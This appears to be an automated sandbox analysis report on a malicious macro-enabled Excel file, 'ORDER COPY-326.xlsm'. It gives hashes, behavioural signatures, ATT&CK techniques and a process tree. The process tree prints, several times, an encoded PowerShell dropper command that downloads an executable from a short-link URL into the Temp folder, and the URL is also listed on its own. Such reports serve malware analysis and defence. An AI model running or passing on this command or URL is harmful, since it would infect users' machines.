7fe87c98f71cb7cfad4b7713284b7cfe1a0a5e059d5eb5e2c1b322426a6e52ff

General

Target

ORDER COPY-326.xlsm
Size

154KB
MD5

9a30f275af39b20ce59988b3c1724a68
SHA1

d35c17ba0c5f09cb212e0a50d117b91d278ec6b3
SHA256

7fe87c98f71cb7cfad4b7713284b7cfe1a0a5e059d5eb5e2c1b322426a6e52ff
SHA512

7898565b62505be720c625899fd3b9f1fb9338a8653066f2c9bf660a1f59fa16529ce4c8e6c1ee597fc3855992ca1e522dce536790c8268ca75684f79636031d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fxD7Hr0

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3532	496	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

22 4080 powershell.exe
24 4080 powershell.exe

flow	pid	process
22	4080	powershell.exe
24	4080	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

496 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4080 powershell.exe

pid	process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4080	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE
496	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 496 wrote to memory of 3532	496	EXCEL.EXE	cmd.exe
PID 496 wrote to memory of 3532	496	EXCEL.EXE	cmd.exe
PID 3532 wrote to memory of 2812	3532	cmd.exe	cmd.exe
PID 3532 wrote to memory of 2812	3532	cmd.exe	cmd.exe
PID 2812 wrote to memory of 4080	2812	cmd.exe	powershell.exe
PID 2812 wrote to memory of 4080	2812	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ORDER COPY-326.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:496

C:\Windows\SYSTEM32\cmd.exe
cmd /c cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\system32\cmd.exe
cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
3⤵
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4080

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/496-2-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/496-3-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/496-4-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/496-5-0x00007FF803080000-0x00007FF8036B7000-memory.dmp

Filesize
6.2MB

Download
memory/496-6-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp

Filesize
64KB

Download
memory/2812-8-0x0000000000000000-mapping.dmp

Download
memory/3532-7-0x0000000000000000-mapping.dmp

Download
memory/4080-9-0x0000000000000000-mapping.dmp

Download
memory/4080-10-0x00007FFFF9D20000-0x00007FFFFA70C000-memory.dmp

Filesize
9.9MB

Download
memory/4080-11-0x000001EBD5F80000-0x000001EBD5F81000-memory.dmp

Filesize
4KB

Download
memory/4080-12-0x000001EBD6130000-0x000001EBD6131000-memory.dmp

Filesize
4KB

Download
memory/4080-13-0x000001EBD5F70000-0x000001EBD5F72000-memory.dmp

Filesize
8KB

Download
memory/4080-14-0x000001EBD5F73000-0x000001EBD5F75000-memory.dmp

Filesize
8KB

Download
memory/4080-15-0x000001EBD5F76000-0x000001EBD5F78000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads